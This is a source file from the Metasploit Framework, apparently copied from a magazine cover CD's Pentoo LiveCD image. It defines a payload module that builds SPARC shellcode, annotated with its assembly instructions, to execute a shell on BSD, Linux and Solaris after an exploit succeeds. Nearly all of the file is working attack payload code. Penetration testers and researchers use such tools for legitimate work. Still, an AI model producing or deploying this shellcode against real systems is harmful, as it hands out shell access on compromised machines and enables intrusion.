home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / generic_sparc_execve.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.9 KB  |  69 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::generic_sparc_execve;
  11. use strict;
  12. use base 'Msf::PayloadComponent::FindConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'BSD/Linux/Solaris SPARC Execute Shell',
  17.   'Version'      => '$Revision: 1.1 $',
  18.   'Description'  => 'Execute a shell on the default file descriptors',
  19.   'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  20.   'Arch'         => [ 'sparc' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'linux', 'bsd', 'solaris' ],
  23.   'Size'         => '',
  24.   'Keys'         => ['inetd'], # can use execve for inetd-based exploits
  25. };
  26.  
  27. sub new {
  28.   my $class = shift;
  29.   my $hash = @_ ? shift : { };
  30.   $hash = $class->MergeHash($hash, {'Info' => $info});
  31.   my $self = $class->SUPER::new($hash, @_);
  32.  
  33.   $self->_Info->{'Size'} = $self->_GenSize;
  34.   return($self);
  35. }
  36.  
  37. sub Build {
  38.   my $self = shift;
  39.   return($self->Generate());
  40. }
  41.  
  42. sub Generate {
  43.   my $self = shift;
  44.  
  45.   my $shellcode =
  46.     "\x9c\x2b\xa0\x07".            # andn %sp, 7, %sp
  47.     "\x94\x1a\xc0\x0b".            # xor %o3, %o3, %o3
  48.     "\x21\x0b\xd8\x9a".            # sethi 0x2f626800, %l0
  49.     "\xa0\x14\x21\x6e".            # or %l0, 0x16e, %l0
  50.     "\x23\x0b\xdc\xda".            # sethi 0x2f736800, %l1
  51.     "\x90\x23\xa0\x10".            # sub %sp, 0x10, %o0
  52.     "\x92\x23\xa0\x08".            # sub %sp, 8, %o1
  53.     "\xe0\x3b\xbf\xf0".            # std %l0, [ %sp - 16 ]
  54.     "\xd0\x23\xbf\xf8".            # st %o0, [ %sp - 8 ]
  55.     "\xc0\x23\xbf\xfc".            # st %g0, [ %sp - 4 ]
  56.     "\x82\x10\x20\x3b".            # mov 0x3b, %g1
  57.     "\x91\xd0\x20\x08";            # ta 8
  58.  
  59.   return($shellcode);
  60. }
  61.  
  62. sub _GenSize {
  63.   my $self = shift;
  64.   my $bin = $self->Generate();
  65.   return(length($bin));
  66. }
  67.  
  68. 1;
  69.